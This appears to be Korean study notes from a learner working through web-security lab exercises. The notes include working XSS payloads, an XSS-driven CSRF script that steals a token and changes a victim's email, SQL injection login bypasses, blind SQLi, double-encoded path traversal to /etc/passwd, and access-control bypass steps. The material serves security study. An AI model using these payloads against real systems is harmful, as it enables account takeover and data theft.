정보를 처음부터 알고 공격을 하는가?
모의해킹 | 취약점진단 |
---|---|
시나리오 기반 | 취약점 항목 기반 |
화이트박스 기반 점검 | 블랙박스 기반 점검 |
Zero Base → 공격수행 | 담당자 정보 요청 → 정보수령 → 공격수행 |
동적진단 | 소스코드(정적)진단 |
1개 서비스 | 1개 URL |
시간 소요↑(수 개월~수 년까지) | 상대적으로 시간소요↓ |
환경분석 목적
1. 제한된 시간에 효율적으로 취약점진단을 하기 위함
2. 서비스에 대한 이해를 위함
CVE 란?
Common Vulnerabilities and Exposures의 약어로 공개적으로 알려진 컴퓨터 보안 결함 목록에 고유 넘버링을 한 것을 말한다.
- JDK 8 다운로드
http://burp/ 접속 > 인증서 다운로드
인증서 더블 클릭
인증서 가져오기
특정 페이지나 기능에 악의적인 스크립트를 삽입하여 공격자가 의도한대로 행동하도록 하는 공격
Reflected XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is viewed.
<script>alert("xss")</script>
<a herf="javascript:alert('XSS')"></a>
DOM XSS in innerHTML sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
일단 Burp Suit로 확인해보면 Search 부분이 다음과 같이 되어 있다.
Window.location.search.get(search)
// 현재페이지 URL에서 ? 뒤에 있는 search 값을 가져와라
검색창에 잘못된 값을 부여해 함수 호출하기.
<img src='1' onerror=alert('xss')>
Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
검색창에 스크립트 구문을 넣어보면 스크립트가 문자열로 인식되는 것을 알 수 있다.
<script>alert(1)</script>
스크립트 구문을 연속으로 써서 스크립트를 이스케이프할 수 있다.
<script>alert(1)</script><script>alert(2)</script>
웹사이트는 보통 사용자의 입력을 처리하기 위해 특정 문자열 패턴을 찾아 필터링하거나 이스케이프하기 위해 <script>
태그를 찾아서 처리하게 된다고 한다. 그런데 이런 처리가 완벽하지 않을 경우, <script>
태그가 여러 개 연속으로 나타나는 경우에는 첫 번째 태그만 필터링하거나 이스케이프하고 나머지 태그를 놓칠 수 있습니다고 한다.
Exploiting XSS to perform CSRF
This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.
You can log in to your own account using the following credentials: wiener:peter
<script>alert(1)</script>
정보 수집(이메일 정보)
이메일을 내 이메일에서 다른 사람 이메일로 변경
이메일 변경 시 어떤 url을 사용하는지 확인하기
이메일 변경 시 /my-account/change-email
url을 POST형식으로 불러온다는 것을 확인
CSRF 공격 구문 작성
<script>
var req = new XMLHttpRequest();
req.addEventListener('load', handleResponse);
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
댓글 Comment란에 구문 입력
XMLHttpRequest 사용법 숙지 필요
https://developer.mozilla.org/ko/docs/Web/API/XMLHttpRequest
CSRF 스크립트가 작성되어 있는 게시글로 이동하면 스크립트가 동작하는 것을 확인할 수 있다.
OWASP Injection 공격 중 한 형태
특정 페이지나 기능 사용 시 입력 값에 대한 DB 쿼리 유효성 검증을 하지 않아 DB쿼리가 조작되어 공격자가 의도한 대로 행동하도록 하는 공격
결과
해결 방안
Time Based SQL Injection DB 시간관련 함수
UnionALL
Union
SQL injection vulnerability allowing login bypass
This lab contains a SQL injection vulnerability in the login function.
To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.
username만 아는 경우 SQL Injection 공격을 사용할 수 있다.
로그인 화면에서 BurpSuit로 패킷 탈취
SQL Injection의 경우 Repeater에서 확인 후 Proxy에서 Forward하기
만약 쿼리문이 아래와 같은 형태고
SELECT * FROM users WHERE username='입력한_아이디' AND password='입력한_비밀번호'
username에 administrator' OR 1=1--
를 입력하면 쿼리문이 다음과 같이 변경된다.
SELECT * FROM users WHERE username='administrator' OR 1=1--' AND password='입력한_비밀번호'
쿼리문을 작성 시 ''
또는""
아니면 아예 없는 경우도 있기 때문에 여러 번 시도해봐야 한다.
Blind SQL injection with conditional responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
Cookie: TrackingId=g3CEnNB295smTEi0
' and (select 'a' and (select substring(password,1,1)from users where username='administrator' limit 1)='a;
session=ygdxXzMYdvs1yAyPElsa0PXlxBfFvm0s
게시판 등에서 악성 파일 업로드에 대한 검증이 없을 경우 이를 악용해 악성 스크립트(웹쉘) 파일이 업로드되어 원격 명령 실행, 권한 획득 등의 공격이 실행될 수 있는 보안 취약점
업로드 파일이 서버에 저장되고 해당 경로를 공격자가 파악할 수 있을 때 공격이 가능하며 업로드 후 공격자는 해당 파일에 접근해서 원하는 행위(원격 명령 실행 등)를 수행
공격 포인트
1.게시판의 첨부파일
2.게시판 내부의 이미지 삽입 박스
해결방안
Remote code execution via web shell upload
This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
/home/carlos/secret 디렉토리에 어떤 파일이 있는지 알고 싶다.
Directory traversal
../
문자열 등을 입력해 상위 디렉터리로 접근해서 일반적으로 접근이 불가능한 경로의 파일이 접근 또는 다운로드가 가능해짐.../
..\\
.\\
%
등 특수문자의 보안 필터링 적용File path traversal, simple case
This lab contains a path traversal vulnerability in the display of product images.
To solve the lab, retrieve the contents of the /etc/passwd file.
File path traversal, traversal sequences stripped with superfluous URL-decode
This lab contains a path traversal vulnerability in the display of product images.
The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.
To solve the lab, retrieve the contents of the /etc/passwd file.
../../../etc/passwd
../../../../etc/passwd
아무리 해도 위 방법으로 /etc/passwd
파일에 접근할 수 없는 경우 ../
이 필터링되고 있을 수 있다. 이런 경우 URL 인코딩 후 filename의 인자 값으로 입력해서 접근할 수 있다. 한 번 URL인코딩 값으로도 접근이 불가하다면 인코딩한 값을 다시 한 번 인코딩해서 두 번 인코딩한 값을 입력해 접근할 수 있다.
..%252F%252F..%252F%252F..%252F%252Fetc%252Fpasswd
Unprotected admin functionality
This lab has an unprotected admin panel. Solve the lab by deleting the user
carlos
.
Lab: Referer-based access control
This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.
To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.
wiener 세션확인 /my-account?id=wiener 패킷 Repeater에 보내기
경로는 carlos
의 권한은 업그레이드 시켰을 때 나온 경로
세션 값은 wiener
의 세션 값
Referer에 마지막이 /admin
경로를 추가 ⇒ 권한 업그레이드는 admin
페이지를 경유해서만 가능하기 때문이다.
HTTP Referer란?
헤더에 담겨있는 현재 페이지에서 요청한 이전 페이지의 URI 정보. 웹 서핑 시 하이퍼링크를 통해 사이트 방문 시 남는 흔적으로 A 사이트를 통해 B 사이트를 방문하면 이 Referer에 A 사이트에 대한 정보가 남는다.
이렇게 하면 admin
페이지는 administrator
계정을 통해서만 접근이 가능하기 때문에 Referer에 admin
페이지가 있다는 것은 곧 관리자라는 뜻으로 인식하기 때문에 권한 업그레이드가 가능해진다.
Password reset broken logic
This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.
Your credentials: wiener:peter
Victim's username: carlos
My account > Forgot password? > wiener
입력
Email Client > 패스워드 리셋 URL 클릭
New password / Confirm new password 입력
Burp Suit > Proxy > Intercept > Intercept is on 상태로 변경
Submit 클릭
가로챈 패킷 확인 > 마우스 오른쪽 버튼 클릭 > Send to Repeater
username
을 carlos
로 변경 후 Send
클릭
정상 동작되었으면 Proxy > Intercept로 이동
username:carlos
password:0000
입력 후 로그인 시 로그인되면 성공!